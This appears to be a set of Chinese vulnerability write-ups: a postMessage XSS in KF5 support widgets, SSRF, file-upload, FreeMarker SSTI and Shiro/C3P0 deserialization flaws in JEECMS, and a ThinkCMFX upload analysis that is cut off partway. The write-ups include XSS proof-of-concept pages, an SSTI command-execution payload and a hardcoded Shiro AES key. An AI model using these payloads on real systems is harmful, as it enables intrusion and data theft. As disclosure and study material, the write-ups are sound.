parts = script.src.split("//"), assetsHost = parts.length > 1 ? parts[1].split("/")[0] : "assets.kf5.com",
kf5Domain = script.getAttribute("kf5-domain")

kf5Domain来自id为kf5-provide-supportBox的标签的kf5-domain属性。

1
<script src="//assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307" id="kf5-provide-supportBox" kf5-domain="support.kf5.com"></script>

所以kf5-domain就为support.kf5.com。 这里我们需要找一个support.kf5.com的xss才能接着看这个postmessage了。

找support.kf5.com的xss, 我还是首先看看有没有类似的postmessage造成的xss
-w1299

一共监听了三个message事件, 在查看第一个的时候就发现了存在xss.
https://assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
window.initializeKF5SupportBox || (window.initializeKF5SupportBox = KF5SupportBox.loadConfig),
bindEvent(window, "message", function(t) {
var e, i, n;
if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/),
i = e[1],
n = e[2]),
"CMD::showSupportbox" === i)
KF5SupportBox.instance && (KF5SupportBox.instance.open(),
KF5SupportBox.instance.hideButton());
else if ("CMD::hideSupportbox" === i)
KF5SupportBox.instance && KF5SupportBox.instance.close(function() {
KF5SupportBox.instance.showButton()
});
else if ("CMD::resizeIframe" === i)
;
else if ("CMD::kf5Notice" === i)
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(n && JSON.parse(n));

这个文件和之前未修复的文件很像, 没有限制来源。

再对传递过来的message数据通过正则以第一个空格分为两组, n变量为空格之前的字符, o变量为空格之后的字符。
n变量是用来选择进入哪个分支的, 这里看一下CMD::kf5Notice分支, 在进入CMD::kf5Notice分支之后会继续执行

1
2
else if ("CMD::kf5Notice" === n) 
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON.parse(o));

这里对o变量从字符串解析到JSON之后, 作为参数传递到了showNotice方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
showNotice: function(t) {
var e = this
, i = window.document.createElement("div");
return t = "object" == typeof t ? t : {},
i.innerHTML = this.getOpt("noticeTemplate").replace("{{title}}", t.title || "提示信息").replace("{{content}}", t.content || "").replace("{{avatar}}", t.avatar || this.getOpt("defaultNoticeAvatar")).replace("{{submitText}}", t.submitText || "接受").replace("{{cancelText}}", t.cancelText || "拒绝"),
this.closeNotice(),
this.noticeElement = i,
1 === this.getOpt("version") ? document.body.appendChild(i) : this.el && this.el.appendChild(i),
bindEvent(document.getElementById("kf5-support-message-accept"), "click", function() {
e.open(),
e.hideButton(),
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON.stringify(t.data), "*"),
e.closeNotice()
}),
bindEvent(document.getElementById("kf5-support-message-reject"), "click", function() {
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeRejected " + JSON.stringify(t.data), "*"),
e.closeNotice()
}),
i
}

showNotice方法中, 使用传入进来的json对模板中的变量进行替换之后, 直接就进行innerHTML了, 可以直接xss。

1
2
3
4
5
6
7
8
9
<iframe id="demo" src="http://support.kf5.com" width="0" height="0"></iframe>

<script type="text/javascript">
window.onload = function(){
var popup = demo.contentWindow;
var msg = 'CMD::kf5Notice {"content": "<img/src=x onerror=alert(document.domain) />"}'
popup.postMessage(msg, "*");
}
</script>

-w1019

但是这里只是https://assets-cdn.kf5.com/supportbox_v2/main.js 的xss而已, 其他客户引入的js都是http://assets-cdn.kf5.com//supportbox//main.js 。 所以继续尝试看看能不能使用supportbox_v2的xss来触发supportbox的xss。
现在找到了support.kf5.com的xss, 可以通过postmessage的来源判断了。
再继续往下看supportbox/main.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
showNotice: function (t) {
function e() {
o.open(), o.hideButton(), o.iframe && o.iframe.contentWindow && o.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON.stringify(t.data), "*"), o.closeNotice()
}

var n, o = this;
return t = "object" == typeof t ? t : {}, n = renderTemplate(this.getOpt("noticeTemplate"), {
noticeTitle: t.title || "提示信息",
noticeContent: t.content || "",
noticeAvatar: t.avatar || this.getOpt("defaultNoticeAvatar"),
noticeAccept: t.submitText || "接受",
noticeReject: t.cancelText || "拒绝"
}

supportbox中的showNotice并没有像supportbox_v2一样直接replace变量后就innerHTML, 而是使用了renderTemplate。(修复2)

1
2
3
4
5
6
function renderTemplate(t, e, n) {
var o, i = document.createElement("div");
i.innerHTML = t;
for (var s in e) e.hasOwnProperty(s) && (o = i.getElementsByClassName ? i.getElementsByClassName("kf5-tpl-" + s) : getElementsByClassName(i, "kf5-tpl-" + s), (o = o.length ? o[0] : null) && (n && "function" == typeof n[s] ? n[s](o, e[s]) : "string" == typeof o.textContent ? o.textContent = e[s] : o.innerText = e[s]));
return i
}

而在renderTemplate当中, 使用的是innerText, 所以不能xss。
这里就只有选择其他的分支尝试xss, 但是看完了几个分支, 都没有合适的点可以xss, 只找到了一个地方能够点击xss(实在没啥用,并且我都不知道咋样才能点到这个a标签)。

1
2
3
4
5
6
7
else if ("CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement("#kf5-view-image"),
a = KF5SupportBox.instance.getElement("#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ? JSON.parse(o) : {}, a.style.display = "block", r.setAttribute("href", o.url), r.setAttribute("title", o.name || ""), s.setAttribute("src", o.url), s.setAttribute("alt", o.name || "")
}
}

在CMD::showImage分支下, 可以设置#kf5-view-image的alt/src属性。
可以设置#kf5-view-image标签的父节点的href/title属性。
-w478
kf5-view-image标签是img标签, 他的父节点是a标签。 所以可以通过父节点的href属性进行点击xss。
-w1381

1
2
3
4
5
6
7
8
9
10
11
12

<iframe id="demo" src="http://support.kf5.com" width="100%" height="100%"></iframe>

<script type="text/javascript">
window.onload = function(){
var content = `<iframe src=https://www.kf5.com/ id=demo2 onload='var popup2 = demo2.contentWindow;var msg2 =\\\"CMD::showImage {\\\\\\"url\\\\\\":\\\\\\"javascript:alert(document.domain)\\\\\\"}\\\";popup2.postMessage(msg2, \\\"*\\\"); '>`

var popup = demo.contentWindow;
var msg = `CMD::kf5Notice {"content": "${content}"}`
popup.postMessage(msg, "*");
}
</script>

References

https://5alt.me/

Some vulnerabilities in JEECMSV9

之前遇到了一个JEECMS大概看了一下, 测试版本JEECMSV9.3

SSRF

/src/main/java/com/jeecms/cms/action/member/UeditorAct.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@RequestMapping(value = "/ueditor/getRemoteImage.jspx")
public void getRemoteImage(HttpServletRequest request,
HttpServletResponse response) throws Exception {
String url = request.getParameter("upfile");
CmsSite site=CmsUtils.getSite(request);
JSONObject json = new JSONObject();
String[] arr = url.split(UE_SEPARATE_UE);
String[] outSrc = new String[arr.length];
for (int i = 0; i < arr.length; i++) {
outSrc[i]=saveRemoteImage(arr[i], site.getContextPath(), site.getUploadPath());
}
String outstr = "";
for (int i = 0; i < outSrc.length; i++) {
outstr += outSrc[i] + UE_SEPARATE_UE;
}
outstr = outstr.substring(0, outstr.lastIndexOf(UE_SEPARATE_UE));
json.put(URL, outstr);
json.put(SRC_URL, url);
json.put(TIP, LocalizedMessages.getRemoteImageSuccessSpecified(request));
ResponseUtils.renderJson(response, json.toString());
}

在接受了用户传递过来的url之后, 带入saveRemoteImage方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private  String saveRemoteImage(String imgUrl,String contextPath,String uploadPath) {
HttpClientBuilder httpClientBuilder = HttpClientBuilder.create();
CloseableHttpClient client = httpClientBuilder.build();
String outFileName="";
try{
if(endWithImg(imgUrl)){
HttpGet httpget = new HttpGet(new URI(imgUrl));
HttpResponse response = client.execute(httpget);
InputStream is = null;
OutputStream os = null;
HttpEntity entity = null;
entity = response.getEntity();
is = entity.getContent();
outFileName=UploadUtils.generateFilename(uploadPath, FileNameUtils.getFileSufix(imgUrl));
os = new FileOutputStream(realPathResolver.get(outFileName));
IOUtils.copy(is, os);
}

在saveRemoteImage方法当中, 如果通过了endWithImg方法的检测,就直接发起请求, 并且把请求到的结果输出到文件当中。

1
2
3
4
5
6
7
8
9
private boolean endWithImg(String imgUrl){
if(StringUtils.isNotBlank(imgUrl)&&(imgUrl.endsWith(".bmp")||imgUrl.endsWith(".gif")
||imgUrl.endsWith(".jpeg")||imgUrl.endsWith(".jpg")
||imgUrl.endsWith(".png"))){
return true;
}else{
return false;
}
}

endWithImg的检测比较简单, 绕过也比较简单加个?.jpg就可以绕过了。
-w976
不过本地测试时, 访问这个jpg文件的结果却是404.
首先来看看保存访问结果的文件的文件名生成方法, 是包含一个月份目录的。

1
2
3
4
public static String generateFilename(String path, String ext) {
return path + MONTH_FORMAT.format(new Date())
+ RandomStringUtils.random(4, Num62.N36_CHARS) + "." + ext;
}

结果类似为 /u/cms/www/201902/15002619t400.jpg
而在jeecms的默认源码当中, 是不存在201902这个目录的。
-w539

并且在saveRemoteImage方法当中, 并没有”判断这个目录存不存在,如果不存在的话就创建该目录”这种逻辑。
在FileOutputStream时, 如果目录是不存在的话, 会出异常, 所以这里的文件并没有保存上。
要想保存上这个文件, 首先还是得创建这个目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping(value = "/ueditor/upload.jspx",method = RequestMethod.POST)
public void upload(
@RequestParam(value = "Type", required = false) String typeStr,
Boolean mark,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
responseInit(response);
if (Utils.isEmpty(typeStr)) {
typeStr = "File";
}
if(mark==null){
mark=false;
}
JSONObject json = new JSONObject();
JSONObject ob = validateUpload(request, typeStr);
if (ob == null) {
json = doUpload(request, typeStr, mark);
} else {
json = ob;
}
ResponseUtils.renderJson(response, json.toString());
}

直接查看调用的doUpload方法,

1
2
3
4
5
6
private JSONObject doUpload(HttpServletRequest request, String typeStr,Boolean mark) throws Exception {
.......
else {
fileUrl = fileRepository.storeByExt(site.getUploadPath(),
ext, uplFile);
}

继续查看storeByExt方法

1
2
3
4
5
6
7
8
9
10
11
public String storeByExt(String path, String ext, MultipartFile file)
throws IOException {
//String filename = UploadUtils.generateFilename(path, ext);
//File dest = new File(getRealPath(filename));
String fileName=UploadUtils.generateRamdonFilename(ext);
String fileUrl =path+fileName;
File dest = new File(getRealPath(path),fileName);
dest = UploadUtils.getUniqueFile(dest);
store(file, dest);
return fileUrl;
}

文件名和目录的生成方法和saveRemoteImage时使用的方法相同,然后调用了store方法。

1
2
3
4
5
6
7
8
9
private void store(MultipartFile file, File dest) throws IOException {
try {
UploadUtils.checkDirAndCreate(dest.getParentFile());
file.transferTo(dest);
} catch (IOException e) {
log.error("Transfer file error when upload file", e);
throw e;
}
}
1
2
3
4
public static void checkDirAndCreate(File dir) {
if (!dir.exists())
dir.mkdirs();
}

可以看到虽然在下载远程图片的功能中, 没有”如果不存在这个日期目录就创建该目录”这个逻辑, 但是在上传的时候存在这个逻辑。 所以可以先通过上传, 创建了该目录之后, 再继续给SSRF利用。
上传这个功能, 需要登录之后才能正常使用。
因为在doupload方法之前,

1
2
3
4
5
6
JSONObject ob = validateUpload(request, typeStr);
if (ob == null) {
json = doUpload(request, typeStr, mark);
} else {
json = ob;
}

经过了validateUpload方法, 在该方法当中

1
2
3
4
5
6
7
CmsUser user = CmsUtils.getUser(request);
// 非允许的后缀
if (!user.isAllowSuffix(ext)) {
result.put(STATE, LocalizedMessages
.getInvalidFileSuffixSpecified(request));
return result;
}

如果是未登录状态, user为null 接下来就会出现空指针异常。

-w1412
上传之后, 就成功创建了目录。
-w587

再SSRF
-w1029
-w744

不过发起请求的httpClientBuilder, 仅支持HTTP/HTTPS协议。
-w770

SSTI

JEECMS中存在一些可以上传任意文件的点, 只举例一个
/src/main/java/com/jeecms/cms/action/member/SwfUploadAct.java

1
2
3
4
5
6
7
8
9
@RequestMapping(value = "/member/o_swfAttachsUpload.jspx", method = RequestMethod.POST)
public void swfAttachsUpload(
String root,
Integer uploadNum,
@RequestParam(value = "Filedata", required = false) MultipartFile file,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception{
super.swfAttachsUpload(root, uploadNum, file, request, response, model);
}

调用了父类的swfAttachsUpload方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
protected void swfAttachsUpload(
String root,
Integer uploadNum,
@RequestParam(value = "Filedata", required = false) MultipartFile file,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception {
JSONObject data=new JSONObject();
WebCoreErrors errors = validateUpload( file, request);
if (errors.hasErrors()) {
data.put("error", errors.getErrors().get(0));
ResponseUtils.renderJson(response, data.toString());
}else{
CmsSite site = CmsUtils.getSite(request);
String ctx = request.getContextPath();
String origName = file.getOriginalFilename();
String ext = FilenameUtils.getExtension(origName).toLowerCase(
Locale.ENGLISH);
// TODO 检查允许上传的后缀
String fileUrl="";
try {
if (site.getConfig().getUploadToDb()) {
String dbFilePath = site.getConfig().getDbFileUri();
fileUrl = dbFileMng.storeByExt(site.getUploadPath(), ext, file
.getInputStream());
// 加上访问地址
fileUrl = request.getContextPath() + dbFilePath + fileUrl;
} else if (site.getUploadFtp() != null) {
Ftp ftp = site.getUploadFtp();
String ftpUrl = ftp.getUrl();
fileUrl = ftp.storeByExt(site.getUploadPath(), ext, file
.getInputStream());
// 加上url前缀
fileUrl = ftpUrl + fileUrl;
}else if (site.getUploadOss() != null) {
CmsOss oss = site.getUploadOss();
fileUrl = oss.storeByExt(site.getUploadPath(), ext, file.getInputStream());
} else {
fileUrl = fileRepository.storeByExt(site.getUploadPath(), ext,
file);
// 加上部署路径
fileUrl = ctx + fileUrl;
}
cmsUserMng.updateUploadSize(CmsUtils.getUserId(request), Integer.parseInt(String.valueOf(file.getSize()/1024)));
fileMng.saveFileByPath(fileUrl, origName, false);
model.addAttribute("attachmentPath", fileUrl);
} catch (IllegalStateException e) {
model.addAttribute("error", e.getMessage());
} catch (IOException e) {
model.addAttribute("error", e.getMessage());
}
data.put("attachUrl", fileUrl);
data.put("attachName", origName);
ResponseUtils.renderJson(response, data.toString());
}
}

在这个方法中, 上传时没有检查文件的后缀,
-w396

从TODO注释中也能看出来, 检查允许上传的后缀这个功能还未实现就直接上线了。

不过在jeecms中上传的jsp,jspx文件并不能被访问到。

1
2
3
4
5
6
7
8
<servlet-mapping>
<servlet-name>JeeCmsFront</servlet-name>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>JeeCmsFront</servlet-name>
<url-pattern>*.jsp</url-pattern>
</servlet-mapping>

jsp和jspx文件都经过了JeeCmsFront,

1
2
3
4
5
6
7
8
9
10
11
12
<servlet>
<servlet-name>JeeCmsFront</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>
/WEB-INF/config/jeecms-servlet-front.xml
/WEB-INF/config/plug/**/*-servlet-front-action.xml
</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>

jsp和jspx文件都会经过org.springframework.web.servlet.DispatcherServlet, 上传上去的jsp文件肯定是没有对应的映射的 就直接404了。
这里得结合一些其他的点进行利用,
/src/main/java/com/jeecms/cms/action/front/CsiCustomAct.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping(value = "/csi_custom*.jspx")
public String custom(String tpl, HttpServletRequest request,
HttpServletResponse response, ModelMap model) {
log.debug("visit csi custom template: {}", tpl);
CmsSite site = CmsUtils.getSite(request);
if(StringUtils.isNotBlank(tpl)){
// 将request中所有参数保存至model中。
model.putAll(RequestUtils.getQueryParams(request));
FrontUtils.frontData(request, model, site);
FrontUtils.frontPageData(request, model);
return FrontUtils.getTplPath(site.getSolutionPath(), TPLDIR_CSI_CUSTOM,
tpl);
}else{
return FrontUtils.pageNotFound(request, response, model);
}
}

可以看到将用户传递过来的tpl变量直接带入了getTplPath方法,

1
2
3
public static String getTplPath(String solution, String dir, String name) {
return solution + "/" + dir + "/" + name + TPL_SUFFIX;
}

可控的tpl变量直接拼接进了模板路径当中,

1
public static final String TPL_SUFFIX = ".html";

默认的模板后缀为.html, 高版本jdk当中已经不再能够截断, 所以这里先通过刚才的任意文件上传一个.html文件, 然后控制模板文件路径为自己上传的模板文件进行SSTI.

因为jeecms的模板引擎使用的是freemarker, 一开始以为直接用freemarker的SSTI就能rce了, 但是测试的时候失败了。

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

-w1344

-w770

在新版本freemarker中, 多了一个TemplateClassResolver.SAFER_RESOLVER配置。

TemplateClassResolver.SAFER_RESOLVER now disallows creating freemarker.template.utility.JythonRuntime and freemarker.template.utility.Execute. This change affects the behavior of the new built-in if FreeMarker was configured to use SAFER_RESOLVER, which is not the default until 2.4 and is hence improbable.

1
2
3
4
5
6
7
8
9
10
11
12
13
TemplateClassResolver SAFER_RESOLVER = new TemplateClassResolver() {
public Class resolve(String className, Environment env, Template template) throws TemplateException {
if (!className.equals(ObjectConstructor.class.getName()) && !className.equals(Execute.class.getName()) && !className.equals("freemarker.template.utility.JythonRuntime")) {
try {
return ClassUtil.forName(className);
} catch (ClassNotFoundException var5) {
throw new _MiscTemplateException(var5, env);
}
} else {
throw MessageUtil.newInstantiatingClassNotAllowedException(className, env);
}
}
}

如果使用了TemplateClassResolver.SAFER_RESOLVER, 就不允许再调用freemarker.template.utility.Execute, freemarker.template.utility.ObjectConstructor以及freemarker.template.utility.JythonRuntime。

1
2
3
4
5
6
public ConstructorFunction(String classname, Environment env, Template template) throws TemplateException {
this.env = env;
this.cl = env.getNewBuiltinClassResolver().resolve(classname, env, template);
if (!TemplateModel.class.isAssignableFrom(this.cl)) {
throw new _MiscTemplateException(NewBI.this, env, new Object[]{"Class ", this.cl.getName(), " does not implement freemarker.template.TemplateModel"});
}

并且允许调用的类只允许为实现了freemarker.template.TemplateModel接口的类, 大概看了下实现了该接口的类, 除了不允许使用的三个类,没有找到其他能利用的类, 就只有放弃RCE了。

从文档中可以看出, freemarker从2.4版本以后才默认打开TemplateClassResolver.SAFER_RESOLVER, jeecms使用的版本为

1
<freemarker.version>2.3.25-incubating</freemarker.version>

虽然没有默认打开该配置, 但是JEECMS中的freemarker手动打开了TemplateClassResolver.SAFER_RESOLVER,所以SSTI没办法RCE了。

1
2
3
4
5
6
7
8
9
10
11
protected void initApplicationContext() throws BeansException {
super.initApplicationContext();

if (getConfiguration() == null) {
FreeMarkerConfig config = autodetectConfiguration();
Configuration configuration=config.getConfiguration();
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
setConfiguration(configuration);
}
checkTemplate();
}

在TemplateClassResolver.SAFER_RESOLVER的限制下, SSTI也就只能读读文件了, 并且只能读取WEB目录下的文件。
-w1222

-w834

反序列

JEECMS中使用了shiro, 版本为

1
<shiro.version>1.4.0</shiro.version>

老版本shiro(1.2.4)曾爆过一个反序列,
看了一下maven下载的1.4.0的shiro包, 依然存在反序列的点
-w899

1
2
3
4
5
6
7
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}

return this.deserialize(bytes);
}

经过decrypt, aes解密之后就开始反序列了。

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return (PrincipalCollection)this.getSerializer().deserialize(serializedIdentity);
}
1
2
3
4
5
6
7
8
9
10
11
12
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);

try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();

高版本shiro只是没有在AbstractRememberMeManager中硬编码了AES的key, 但是在JEECMS当中, 又再次硬编码了AES的key
/src/main/webapp/WEB-INF/config/shiro-context.xml

1
2
3
4
5
<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('4AvVhmFLUs0KTA3Kprsdag==')}"/>
<property name="cookie" ref="rememberMeCookie"/>
</bean>

直接使用这个AES key就能打反序列了。
看了下JEECMS的jar包, 打反序列版本比较合适的为C3P0的jar包。
JEECMS的C3P0包版本和ysoserial自带的C3P0包版本相同。

1
<c3p0.version>0.9.5.2</c3p0.version>

一开始不知道C3P0这gadget到底是咋用, 看了下代码。
/com/mchange/c3p0/0.9.5.2/c3p0-0.9.5.2.jar!/com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase.class

1
2
3
4
5
6
7
8
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch(version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}

继续调用getObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}

Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}

return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);

调用referenceToObject方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}

Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}

Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);

通过URLClassLoader获取远程jar包中的类, 然后classforname后, newInstance实例化该类, 调用构造方法。

-w867

不过在打反序列的时候, 出现了suid错误
-w966

明明yso的C3P0版本和jeecms的一样, 但是还是提示suid错误。

因为jeecms中依赖了quartz-scheduler包, 这个包又依赖了0.9.1.1的c3p0. 反序列的时候调用的是老版本的C3P0的包。(这里我也不太懂我本地为什么调用的是老版本的包, 按理maven解决依赖冲突时 优先最短路径优先, 应该调用的是0.9.5.2包。并且高版本的C3P0依赖在前,有大哥懂为啥调用老版本的jar包的麻烦教我一手。)

-w476

这时候ysoserial的C3P0版本和jeecms的版本就不相同了 suid就不同了, 这里直接修改一下ysoserial的C3P0版本,
-w488
text变量的字符串为ysoserial生成的C3P0 payload base64编码,
-w715

-w1399

-w1136

References

1.https://freemarker.apache.org/docs/versions_2_3_19.html
2.https://portswigger.net/blog/server-side-template-injection

ThinkCMFX arbitrarily file upload

0x01 前言

ThinkCMF存在两个版本, ThinkCMF基于Thinkphp5开发, ThinkCMFX基于Thinkphp3开发。 好久以前做测试的时候遇到了CMFX, 就下载了一份看了一下。还找到了一些SQL注入和其他的漏洞, 不过好像其他的都看到有人发过了, 这个文件上传还没看到有人谈过。
https://github.com/thinkcmf/cmfx

0x02 分析

在/application/Asset/Controller/UeditorController.class.php中,

1
2
3
4
5
6
7
public function _initialize() {
$adminid=sp_get_current_admin_id();
$userid=sp_get_current_userid();
if(empty($adminid) && empty($userid)){
exit("非法上传!");
}
}

在这个Controller的”构造方法”中, 判断了是否登录, 可以看出这个是普通会员和管理员都可以使用的一个控制器。 Thinkcmfx默认是支持普通用户注册的, 所以没啥影响。

在UeditorController中的upload方法中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function upload(){
error_reporting(E_ERROR);
header("Content-Type: application/json; charset=utf-8");

$action = $_GET['action'];

switch ($action) {
case 'config':
$result = $this->_ueditor_config();
break;
/* 上传图片 */
case 'uploadimage':
/* 上传涂鸦 */
case 'uploadscrawl':
$result = $this->_ueditor_upload('image');
break;
/* 上传视频 */
case 'uploadvideo':
$result = $this->_ueditor_upload('video');
break;
/* 上传文件 */
case 'uploadfile':
$result = $this->_ueditor_upload('file');
break;

这里随便选择一个分支跟进就行, 这里选择uploadfile.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private function _ueditor_upload($filetype='image'){
$upload_setting=sp_get_upload_setting();

$file_extension=sp_get_file_extension($_FILES['upfile']['name']);
$upload_max_filesize=$upload_setting['upload_max_filesize'][$file_extension];
$upload_max_filesize=empty($upload_max_filesize)?2097152:$upload_max_filesize;//默认2M

$allowed_exts=explode(',', $upload_setting[$filetype]);

$date=date("Ymd");
//上传处理类
$config=array(
'rootPath' => './'. C("UPLOADPATH"),
'savePath' => "ueditor/$date/",
'maxSize' => $upload_max_filesize,//10M
'saveName' => array('uniqid',''),
'exts' => $allowed_exts,
'autoSub' => false,
);

$upload = new \Think\Upload($config);//

$file = $title = $oriName = $state ='0';

$info=$upload->upload();

这里通过$allowed_exts=explode(',',$upload_setting[$filetype]) 来获取允许上传的后缀。

$upload_setting=sp_get_upload_setting();
upload_setting通过sp_get_upload_setting方法来获取上传的配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function sp_get_upload_setting(){
$upload_setting=sp_get_option('upload_setting');
if(empty($upload_setting)){
$upload_setting = array(
'image' => array(
'upload_max_filesize' => '10240',//单位KB
'extensions' => 'jpg,jpeg,png,gif,bmp4'
),
'video' => array(
'upload_max_filesize' => '10240',
'extensions' => 'mp4,avi,wmv,rm,rmvb,mkv'
),
'audio' => array(
'upload_max_filesize' => '10240',
'extensions' => 'mp3,wma,wav'
),
'file' => array(
'upload_max_filesize' => '10240',
'extensions' => 'txt,pdf,doc,docx,xls,xlsx,ppt,pptx,zip,rar'
)
);
}

if(empty($upload_setting['upload_max_filesize'])){
$upload_max_filesize_setting=array();
foreach ($upload_setting as $setting){
$extensions=explode(',', trim($setting['extensions']));
if(!empty($extensions)){
$upload_max_filesize=intval($setting['upload_max_filesize'])*1024;//转化成KB
foreach ($extensions as $ext){
if(!isset($upload_max_filesize_setting[$ext]) || $upload_max_filesize>$upload_max_filesize_setting[$ext]*1024){
$upload_max_filesize_setting[$ext]=$upload_max_filesize;
}
}
}
}

$upload_setting['upload_max_filesize']=$upload_max_filesize_setting;
F("cmf_system_options_upload_setting",$upload_setting);
}else{
$upload_setting=F("cmf_system_options_upload_setting");
}

return $upload_setting;
}

首先尝试通过sp_get_option方法获取文件上传的配置信息, 如果sp_get_option方法获取配置信息失败的话会返回一个默认的配置。
如果sp_get_option获取配置信息成功, 最后会再一次的调用F(“cmf_system_options_upload_setting”)来得到$upload_setting, 此次调用F方法是直接从缓存中获取配置信息了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function sp_get_option($key){
if(!is_string($key) || empty($key)){
return false;
}

$option_value=F("cmf_system_options_".$key);

if(empty($option_value)){
$options_model = M("Options");
$option_value = $options_model->where(array('option_name'=>$key))->getField('option_value');
if($option_value){
$option_value = json_decode($option_value,true);
F("cmf_system_options_".$key);
}
}

return $option_value;
}

F方法尝试读上传的配置文件, 然后反序列该文件内容拿到上传配置信息。
从filename可以看出读取的配置文件为/data/runtime/Data/cmf_system_options_upload_setting.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function F($name, $value='', $path=DATA_PATH) {
static $_cache = array();
$filename = $path . $name . '.php';
if ('' !== $value) {
if (is_null($value)) {
// 删除缓存
if(false !== strpos($name,'*')){
return false; // TODO
}else{
unset($_cache[$name]);
return Think\Storage::unlink($filename,'F');
}
} else {
Think\Storage::put($filename,serialize($value),'F');
// 缓存数据
$_cache[$name] = $value;
return null;
}
}
// 获取缓存数据
if (isset($_cache[$name]))
return $_cache[$name];
if (Think\Storage::has($filename,'F')){
$value = unserialize(Think\Storage::read($filename,'F'));
$_cache[$name] = $value;
} else {
$value = false;
}
return $value;
}

默认/data/runtime/Data/cmf_system_options_upload_setting.php的文件内容,

1
a:5:{s:5:"image";a:2:{s:19:"upload_max_filesize";s:5:"10240";s:10:"extensions";s:21:"jpg,jpeg,png,gif,bmp4";}s:5:"video";a:2:{s:19:"upload_max_filesize";s:5:"10240";s:10:"extensions";s:23:"mp4,avi,wmv,rm,rmvb,mkv";}s:5:"audio";a:2:{s:19:"upload_max_filesize";s:5:"10240";s:10:"extensions";s:11:"mp3,wma,wav";}s:4:"file";a:2:{s:19:"upload_max_filesize";s:5:"10240";s:10:"extensions";s:42:"txt,pdf,doc,docx,xls,xlsx,ppt,pptx,zip,rar";}s:19:"upload_max_filesize";a:24:{s:3:"jpg";i:10485760;s:4:"jpeg";i:10485760;s:3:"png";i:10485760;s:3:"gif";i:10485760;s:4:"bmp4";i:10485760;s:3:"mp4";i:10485760;s:3:"avi";i:10485760;s:3:"wmv";i:10485760;s:2:"rm";i:10485760;s:4:"rmvb";i:10485760;s:3:"mkv";i:10485760;s:3:"mp3";i:10485760;s:3:"wma";i:10485760;s:3:"wav";i:10485760;s:3:"txt";i:10485760;s:3:"pdf";i:10485760;s:3:"doc";i:10485760;s:4:"docx";i:10485760;s:3:"xls";i:10485760;s:4: